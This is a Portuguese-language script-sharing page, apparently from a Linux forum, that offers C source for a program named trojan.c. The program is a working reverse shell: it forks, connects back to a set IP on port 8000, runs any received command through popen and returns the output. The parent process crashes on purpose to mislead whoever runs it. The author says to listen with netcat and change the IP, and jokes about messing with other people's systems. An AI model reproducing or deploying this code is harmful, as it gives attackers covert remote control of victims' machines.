reverse shell na marra!

Publicado por felipe (última atualização em 11/12/2024)

[ Hits: 40 ]

Download trojan.c




Esse é um programa de reverse shell criado para linux, ele deve ser compilado e executado sem argumentos.
você deve usar o netcat junto, escutado na porta 8000, ou  a que você definir, claro, você vai ter que mudar o ip também.

  



Esconder código-fonte

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#include <sys/socket.h>
#include <sys/types.h>

#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <unistd.h>

int main(int argc, char **argv)
{
    //cria um segundo processo
    pid_t pid;

    struct sockaddr_in destino={
        .sin_family = AF_INET,
        .sin_port = htons(8000),
        .sin_addr.s_addr = inet_addr("127.0.0.1") 
    };
    //inicia
    pid = fork();

    if(pid < 0){
        perror("pid error");
        return 1;
    }

    if(pid == 0){
        int sock = socket(AF_INET, SOCK_STREAM, 0);
        if(sock < 0){
            perror("socket error");
            return 1;
        }

        int cnx = connect(sock, (struct sockaddr *)&destino, sizeof(destino));
        if(cnx < 0){
            perror("connet error");
            return 1;
        }
        //brinca com sistema dos outros =p
        FILE *cmd;
        char buf[256];
        char rec[256];
        char *msg = "shell>";
        while(1){
            send(sock, msg, strlen(msg), 0);
            recv(sock, rec, 256, 0);
            cmd = popen(rec, "r");
            while(fgets(buf, 256, cmd) != NULL){
                send(sock, buf, strlen(buf), 0);
            }
        }
    }

    else{
        //leve engano
        //bufferOverFlow
        int lol = atoi(argv[1]) * atoi(argv[2]);
    }



    return 0;
}

Scripts recomendados

criptografia de modo simples

USER ID (verificador)

Fork bomb em C

DoS Syn flood

[C] Criptografia por Inversão de bits


  

Comentários

Nenhum comentário foi encontrado.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts